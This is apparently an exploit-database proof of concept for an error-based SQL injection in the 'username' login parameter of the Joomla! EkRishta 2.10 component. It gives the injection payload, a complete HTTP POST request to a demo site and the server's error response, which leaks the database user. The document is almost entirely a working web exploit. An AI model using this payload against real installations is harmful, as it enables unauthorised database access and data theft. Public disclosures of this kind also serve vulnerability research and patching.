Joomla! Component EkRishta 2.10 - 'username' SQL Injection

# Exploit Title: Joomla! Component EkRishta 2.10 - 'username' SQL Injection
# Date: 2018-06-11
# Exploit Author: L0RD
# Software Link: https://extensions.joomla.org/extension/ek-rishta/
# Vendor Homepage: https://www.joomlaextensions.co.in/
# Version: 2.10
# Tested on: Win 10

# POC : SQLi :
# Parameter : username
# Type : Error based
# Payload : 1' AND extractvalue(1,concat(0x3a,user(),0x3a))#
# Test : http://joomlaextension.biz/ekrishta/index.php/login/sign-in

# Request

POST /ekrishta/index.php/login/sign-in HTTP/1.1
Host: joomlaextension.biz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://joomlaextension.biz/ekrishta/index.php/login/sign-in
Content-Type: application/x-www-form-urlencoded
Content-Length: 264
Cookie: 2b59fab16cbbad2fc73d64e5cc7a2950=k0fcnijgbnnk4i8f15bem38vp3;
joomla_user_state=logged_in
Connection: keep-alive
Upgrade-Insecure-Requests: 1

username=1' AND
extractvalue(1,concat(0x3a,user(),0x3a))#&passwd=test%27&Submit=Log+in+to+your+account&Itemid=117&option=com_ekrishta&view=alluser&task=check_login&lid=loginuser&return=L2VrcmlzaHRhL2luZGV4LnBocC9sb2dpbi9zaWduLWlu&bac2b97217cd995b069b5b0bc198de1c=1

# Response

HTTP/1.1 500 XPATH syntax error: ':harmiste_rishtaa@localhost:' SQL=select
* from #__users where username='1' AND
extractvalue(1,concat(0x3a,user(),0x3a))#'
Server: nginx
Date: Mon, 11 Jun 2018 17:05:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 3181